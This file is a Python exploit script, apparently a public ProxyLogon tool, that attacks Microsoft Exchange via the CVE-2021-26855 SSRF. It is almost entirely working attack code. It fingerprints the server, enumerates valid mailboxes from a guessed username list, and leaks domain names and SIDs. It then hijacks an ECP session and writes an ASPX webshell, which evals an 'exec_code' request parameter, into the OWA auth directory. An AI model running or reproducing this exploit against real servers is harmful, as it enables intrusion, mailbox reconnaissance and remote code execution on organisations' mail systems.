CVE-2021-26855 Exchange Server RCE
exchange2013会有点问题
'''
Author: Udyz
Reference:
- https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
- https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
- https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml
- https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
- https://proxylogon.com
[*] CVE-2021-26855 SSRF Exchange Server
'''
# -*- coding: utf-8 -*-
from typing import Text
import requests
import sys
import re
import time
import webbrowser
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import os
import tldextract
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
#i don't know how to use regex domain without subdomain, so im gonna use this modules...
def proxylogon(target, mail, FQDN):
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
shell_name = 'rickroll.aspx'
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\"+shell_name
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
sid = input('(+) Put Sid: ')
proxyLogon_request = '<r at="Negotiate" ln="john"><s>%s</s></r>' % sid
ct = requests.post(url=target, headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"msExchLogonMailbox":"S-1-5-21",
"User-Agent": user_agent
},
data=proxyLogon_request,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)
ct = requests.get(url=target, headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, sess_id, msExchEcpCanary),
"User-Agent": user_agent
},
verify=False
)
if ct.status_code != 200:
print("Wrong canary!")
print("Sometime we can skip this ...")
rbacRole = ct.text.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
# print "Got rbacRole: "+ rbacRole
print("=========== It means good to go!!!====")
ct = requests.post(url=target, headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
verify=False
)
if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = ct.text.split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
ct = requests.post(url=target, headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post(url=target, headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
verify=False
)
if ct.status_code != 200:
print("Write Shell Error!")
exit()
print("Successful!")
#print('(%) Proxylogon Coming soon...')
def exploit(url):
try:
print('[*] Target: %s'%url)
server = url + '/owa/auth.owa'
s = requests.Session()
req = s.post(server, verify=False,timeout=15)
if not req.status_code == 400:
print('[-] Cant get FQDN!')
exit(0)
server_name = req.headers["X-FEServer"]
print('(*) Getting FQDN Name: %s'%(server_name))
path_maybe_vuln = '/ecp/ssrf.js'
headers = {
'User-Agent': 'Hello-World',
'Cookie': 'X-BEResource={FQDN}/EWS/Exchange.asmx?a=~1942062522;'.format(FQDN=server_name),
'Connection': 'close',
'Content-Type': 'text/xml',
'Accept-Encoding': 'gzip'
}
payload = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>admin@domain.tld</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
"""
reqs = s.post('%s/%s' %(url,path_maybe_vuln),headers=headers,data=payload, verify=False,timeout=15)
if reqs.status_code == 200:
print('(+) Target is Vuln to SSRF [CVE-2021-26855]!')
print('(*) Getting Information Server')
print('(+) Computer Name = %s'%reqs.headers["X-DiagInfo"])
print('(+) Domain Name = %s'%reqs.headers["X-CalculatedBETarget"].split(',')[1])
print('(+) Guest SID = %s'%reqs.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0])
print('(*) Find valid mail from users list')
u_m = reqs.headers["X-CalculatedBETarget"].split(',')[1]
f = ['test','test01','test1','guest','administrator','sysadmin','info','noreply','log','no-reply','sqlsvr','jerry','sqladmin','dbadmin']
print('+ %s' %reqs.headers["X-CalculatedBETarget"].split(',')[1])
X = input('(+) Put Domain Server without Subdomain: ')
for u in f:
domainstr = tldextract.extract(u_m)
domain = "{}.{}".format(domainstr.domain, domainstr.suffix)
user = u
if ('local' in u_m):
domain = '%s.local'%reqs.headers["X-CalculatedBETarget"].split(',')[1].split('.')[1]
elif X == '':
domainstr = tldextract.extract(u_m)
domain = "{}.{}".format(domainstr.domain, domainstr.suffix)
else:
domain = X
mail = '{user}@{domain}'.format(user=user, domain=domain)
mailnum = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>{mail}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
'''.format(mail=mail)
mail_valid = ''
reqx = s.post('%s/%s' %(url,path_maybe_vuln),headers=headers,data=mailnum, verify=False)
if '<m:ResponseCode>NoError</m:ResponseCode>' in reqx.text in reqx.text:
xmlstr = """{data}""".format(data=reqx.text)
total_count = re.findall('(?:<t:TotalCount>)(.+?)(?:</t:TotalCount>)', xmlstr)
print('-'*35)
print('(+) %s | Total Inbox = %s'%(mail,total_count[0]))
mail_valid = mail
elif 'Access is denied. Check credentials and try again' in reqx.text or "<m:ResponseCode>ErrorAccessDenied</m:ResponseCode>":
print('-'*35)
print('(+) %s | Valid Mail!'%(mail))
mail_valid = mail
else:
print('(-) %s | Invalid mail'%(mail))
headers_for_audio = {
"User-Agent": "Hello-World",
"Cookie": "X-BEResource={FQDN}/autodiscover/autodiscover.xml?a=~1942062522;".format(FQDN=server_name),
"Connection": "close",
"Content-Type": "text/xml"
}
autodiscover_payload = '''
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>{mail}</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
'''.format(mail=mail_valid)
r3q = s.post('%s/%s'%(url,path_maybe_vuln), headers=headers_for_audio, data=autodiscover_payload, verify=False)
if 'DisplayName' in r3q.text:
txtstr = """%s"""%(r3q.text)
display_name = re.findall('(?:<DisplayName>)(.+?)(?:</DisplayName>)', txtstr)
legacyDN = re.findall('(?:<LegacyDN>)(.+?)(?:</LegacyDN>)', txtstr)
server = r3q.text.split('<Server>')[1].split('</Server>')[0]
groupname = re.findall('(?:<GroupingInformation>)(.+?)(?:</GroupingInformation>)', txtstr)
mapi_body = legacyDN[0] + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
mapireq = requests.post("%s/%s" % (url,path_maybe_vuln), headers={
"Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=%s&a=~1942062522;" %(server_name, server),
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:2",
"User-Agent": "Hello-World"
},
data=mapi_body,
verify=False
)
# print(mapireq.text)
try:
if mapireq.status_code != 200 or "act as owner of a UserMailbox" not in mapireq.text:
print('(+) Display Name = %s' %display_name[0])
print('(+) Group Name = %s'%groupname[0])
print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
print('-'*35)
else:
sid = mapireq.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
print('(+) Display Name = %s' %display_name[0])
print('(+) Group Name = %s'%groupname[0])
print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
print('(+) User SID = %s'%sid)
print('-'*35)
except IndexError:
print('(+) Display Name = %s' %display_name[0])
print('(+) Group Name = %s'%groupname[0])
print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
print('-'*35)
proxylogon('%s/%s'%(url,path_maybe_vuln), mail, server_name)
exit(0)
else:
print('(-) Target is not Vuln to SSRF [CVE-2021-26855]!')
#except Exception as e:
#print(e)
#pass
except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
print(e)
pass
if(len(sys.argv) < 2):
print('[*] CVE-2021-26855 SSRF Exchange Server\n./%s <https://url>\n--------------------\n+ Author: github.com/Udyz\n+ twitter.com/lotusdll\n--------------------\n'%(sys.argv[0]))
exit(0)
exploit(sys.argv[1])
“优秀者模仿 , 伟大者剽窃。”